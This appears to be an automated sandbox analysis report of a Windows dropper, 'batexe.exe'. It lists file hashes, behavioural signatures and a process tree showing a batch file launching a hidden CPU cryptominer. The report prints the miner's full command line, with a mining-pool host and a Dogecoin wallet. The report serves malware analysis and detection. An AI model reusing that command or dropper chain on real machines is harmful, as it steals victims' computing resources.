73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 11:56

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3764	b2e.exe
3584	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3584	cpuminer-sse2.exe
3584	cpuminer-sse2.exe
3584	cpuminer-sse2.exe
3584	cpuminer-sse2.exe
3584	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3032-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 3764	3032	batexe.exe	74
PID 3032 wrote to memory of 3764	3032	batexe.exe	74
PID 3032 wrote to memory of 3764	3032	batexe.exe	74
PID 3764 wrote to memory of 4512	3764	b2e.exe	75
PID 3764 wrote to memory of 4512	3764	b2e.exe	75
PID 3764 wrote to memory of 4512	3764	b2e.exe	75
PID 4512 wrote to memory of 3584	4512	cmd.exe	78
PID 4512 wrote to memory of 3584	4512	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Users\Admin\AppData\Local\Temp\7B0C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7B0C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7B0C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7D00.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7B0C.tmp\b2e.exe

Filesize
8.7MB

MD5
4954e72eb73fe4d15751645efb656218

SHA1
9c900d705df03c234558dd1eaf540b00de19fc3d

SHA256
8ce1e5460bed5a35a3a2bc1ab4af321e2789da6815c21d207e018d9113b310ff

SHA512
c0d8ea978c98e6bb2b021576c8410a4ab81b0e71be87e7259ecd2eb7ca81039b9c2c84ea718c3a80f442ae79993be5779a883d0f51ed2dc148db928b2e39c946

Download Submit
C:\Users\Admin\AppData\Local\Temp\7B0C.tmp\b2e.exe

Filesize
12.4MB

MD5
7cd345fb59a8d13dcb3d66e6c1e8d2ed

SHA1
768849ff610dba41c2fbd8f09e3ac2d238728b32

SHA256
da08903e738783a09c685be823b5e4fbc14316c955e3512150acf54e21c0ac75

SHA512
2545da93d4dc547e4e808dfb5f6d3f59a2c4d07900c0cebd0db662263e4b66cba04efb8ae3fc2c0e061a5a494fdbc5dcce23ddbcbbd5c55b739e4d6de14d4edb

Download Submit
C:\Users\Admin\AppData\Local\Temp\7D00.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.3MB

MD5
a24354cc8399bb120031e1f2163afb94

SHA1
41f0bc789a87f4b8ae838f20b587b4bce8289d5d

SHA256
e507c65d5814407574b1f8ec2e1c1e84c0072a49270bde593d4863f8b9d107c0

SHA512
53429272ac8ce311b3aee00a0bc730fcb199b14cbac889a2496a02a4b214eb5f21bb7ebcfe762ae31ba4666ccb95eadea4cfd43e525f7ecc1bdda259ab5063c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.7MB

MD5
aa3892db9267965301df89552721b163

SHA1
cbc294934fd002e272c8e3c8deecc75f7ee2303c

SHA256
5126d384f00da80ef609196ea132c76e970cb3068d374cd6f91cd9df57deb259

SHA512
2f867f24f10f7de4c6ef087324180d1bf3a1c1fea4d6d72b3cd46c3eac69b726a84dc2acc0fb0f78b2ddb48c7aeea03927468441bf7dfd73595f3e8d2ed31df1

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.4MB

MD5
c8fe0b3d84b57bf9f4a2ce83a92b6fc1

SHA1
cac61173d644ccf46d2c4f19d16af2a4b0fc2df7

SHA256
41e52b79b025b2835f6175fc2bae225c4fcb26e82d46cb9cd77eae6b035e7e8f

SHA512
34ef816caf2c44a6df8708b1a563b2d22a333c0d1da477013fb8b0f6504a7c679c712219255c1a014d46574559bc12f2df0134ded52ed3f2b83b964fb785fcce

Download Submit
memory/3032-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3584-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3584-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3584-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-43-0x0000000051BB0000-0x0000000051C48000-memory.dmp

Filesize
608KB

Download
memory/3584-44-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/3584-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3584-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3764-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3764-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download